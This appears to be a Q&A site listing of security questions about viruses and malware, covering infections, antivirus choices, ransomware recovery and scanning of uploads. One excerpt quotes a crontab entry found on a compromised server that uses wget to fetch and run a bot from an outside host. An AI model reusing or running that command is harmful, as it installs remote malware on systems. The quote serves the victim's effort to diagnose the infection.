A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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Can malware physically damage a hard drive?

I recently responded to an incident of supposed malware infection. The symptoms were simply, "My computer freezes at random times." The response ended with replacement of the physical hard drive and ...
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Is it worth it to get paid anti-virus software?

With the rise in cybercrime, I am slightly worried about my computer security. I have been using open sourced anti-virus AVG for years and it has been doing well. Are anti-virus software like Norton ...
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how to know that my pc is 100% clean?

I work as a programmer ,i want to make sure that no remote access tools RATS are on my pc before i work on my new project. it happened before that after finishing a hard project, a hacker went on my ...
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How to test backend virus behavior?

I have a website that allows the user to upload files. The front-end (web tier) checks the file extension and first few bytes of the file for the magic number of an acceptable file, but then ...
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Is it safe to store a file in a temporary folder before it has been scanned for a virus?

I'm working on an application that makes use of the Symantec Protection Engine to scan uploaded files. I'm having issues with my files after they have been scanned. One possible solution I've seen ...
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Has this method ever been used by viruses to check if system has already been infected?

I know the era of the self spreading worm is over, but has this mechanism for determining if a machine has already been infected or not ever been used? When a virus runs it checks to see if the ...
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Security of root terminal (su -) when logged into X

I often log into X as normal user (of course), open terminal and switch to root: su - I have then a terminal owned by user but effectively with root privileges. Are there any security issues in ...
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Why do some antivirus programs find infections that others miss?

I have Avast Free antivirus on my Windows 7 PC and yesterday I used Bit Defender quick scan addons, which spotted a virus. In rechecking with Avast, it didn't pick it up. In scanning my system with ...
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Should text files or image files be virus scanned during upload?

I have created an online web app for my company. It's being tested for security files. The tester loaded the EICAR text file. The virus scanner on the server caught and removed the file. I have only ...
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How can I tell if I have the citadel virus without downloading an antivirus?

I recently received an e-mail from Virgin Media indicating that I might have the Citadel virus. It obviously sounds like a fake e-mail, but I am almost certain it is genuine, as they had my name and ...
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Writing keylogger and viruses in python [closed]

So recently I have been working on some projects one of them is keylogger and the second is SYNflood (both in python). I want to know if ,is it a good practice to use python language for such ...
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Detected virus in pdf - should I be worried (CVE-2014-8449)?

I downloaded a pdf earlier, and I was trying to send it to my friend, but gmail said that it detected a virus. So I ran it through virustotal.com and only 1 out of 56 scanners came up with a virus - ...
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ClamAV detected CVE-2014-8449 in some PDFs. How do I know if it's a real problem?

We run clamav on all our user-uploaded files. It's currently giving this message for several PDFs: <filename...>: Pdf.Exploit.CVE_2014_8449 FOUND Looking at the CVE, it's for a integer ...
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Can my phone be affected by malware through mobile phone signal?

My phone is newly bought. Can a hacker actually scan the mobile phone signal around me, detect it, and put virus/malware into my phone THROUGH the mobile phone signal of my mobile service provider? ...
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Can folders [alone] have viruses?

I know that files can be infected, but can a Folder itself have a virus/trojan?
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How antivirus companies create virus defnitions for new outbreaks

This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ? Or they are ...
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Should I get an antivirus for my Mac?

There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as ...
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Trojan name I can't find any information about

I decided to take an online virus scan using ESET online scanner, after getting some weird crash that made my drivers and other parts of the operating system unusable... The preliminary results say ...
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Which antivirus scanners detect malicious files like image files / text files that seem harmless? until double clicked?

I'm on win7 64bit, and I just found out that you can embed scripting data into images and plain text files where it would run the cmd.exe file to execute other scripts. What type of antivirus scanners ...
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Any “cleaned” virus that's been successfully re-released?

Anti-malware software has to keep track of all bad software there is. To ease this load, it seems like a good idea to stop looking for threats that's been dead for years. Is there any example of some ...
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how to protect my USB stick from Viruses

I repair a lot of computers with viruses, malware, and what not, and I have one problem that I am struggling to find a solution for. Whenever I connect my USB stick that has the tools I need for the ...
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Removing a Redirect Virus from Fedora Linux

Despite several attempts listed below certain websites are getting redirected to a certain ad website automatically, out of the blue on linux. When some website starts redirecting to this ad website ...
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Clicked link on fake email which appeared to be from friend [duplicate]

I receieved an e-mail which at first glance appeared to be from a friend, I clicked on the link provided without thinking as we would often exchance links to sites. The link went nowhere i.e page not ...
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Lifecycles of a computer virus

According to what I read there are four phases: - Dormant phase - Propagation phase - Triggering phase - Execution phase I however am having trouble finding a chronological order in how these events ...
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Old e-mail text types itself back into PC later by itself? [closed]

Occasionally, I'll notice my Win7 PC is typing in text by itself. When I open Notepad leave it, the text being typed in is a snippet of text from an e-mail that I wrote and sent months ago to a friend ...
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Based on these email headers, where is this virus coming from?

I'm seeing a virus in our network with some strange headers. Sometimes they are coming (sourced) from a netscaler VIP, other times they seem to come from an Exchange hub server. How do I determine ...
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Viruses From Email Attachments

My company just got a worm. The specific one is beside the point, but I linked a couple pages that I think describe the worm / virus below. We're getting lots of emails to Outlook asking us to open ...
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“Threat: WMA:Wimad [Susp]” on .avi file, possible to remove threat and keep file?

I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched): Severity: Medium Threat: WMA: Wimad ...
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How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
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Is it possible to get malware through an incoming video/audio stream? (e.g. Omegle, Skype etc.)

just a quick question. Is it possible for incoming video/audio streams to contain malware etc. through exploits in the transfer of the video/audio? Thanks in advance.
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Trojan/Worm Cridex Issue

Currently we are receiving a surge in machines that are being attacked with Cridex. We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is ...
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Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
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Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
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Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
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How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
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What are these URLs in my browsers?

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome). ...
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What happened with badBios [duplicate]

Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before. Experts agreed that ...
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Scanning for files than have been encrypted by CryptoLocker

I am just asking in case someone has already done the analysis. A customer has a large set of network drives that were mapped to a CryptoLocker infected machine. The infection itself has been treated. ...
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Help understanding malware infection

I'm kind of a newbie to security and need help fully understanding how I would infect myself inadvertently. Let's say I was to download a .zip file attached to an email and I unzipped the contents. ...
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Malware stole an executable file on my computer? Seems unlikely

If you don't want to read all of the details, skip to the bottom; I'll make a summary. I created a computer program as a proof of concept (I threw it together in 12 hours, so I wrote it in Visual ...
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Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
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My computer hacked? tcpdump show a connection to an ALLOCATED UNSPECIFIED ip address

13:06:05.345111 IP 192.168.1.101.36218 > 157.55.130.174.40033: Flags [.], ack 162, win 237, options [nop,nop,TS val 688796 ecr 596714815], length 0 This IP address is Allocated Unspecified on ...
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jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
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Virus (or Trojan) in Android

Definition of virus is (from Wikipedia): A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer programs, data ...
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Can my Mac be affected without running the malware?

Can my Mac be affected by malware without running it? For instance, if I download a random file, but don't open it, can it infect my computer?
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Possible trojan/virus in memory?

I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
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How can I recover files encrypted by Android ransomware?

My Samsung Galaxy Note II was infected by a virus called the "FBI virus." Fortunately, I've managed to remove the malware but my problem now is that all my files have been encrypted. How can I ...
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Can an compressed virus still do any harm to an OS [closed]

Let's say you have a piece of malware either as a standalone binary or hidden within a crafted image (two distinct cases). If I compress the standalone binary, can its mere presence as a compressed ...
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Statistics about malware targeting different OS

Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?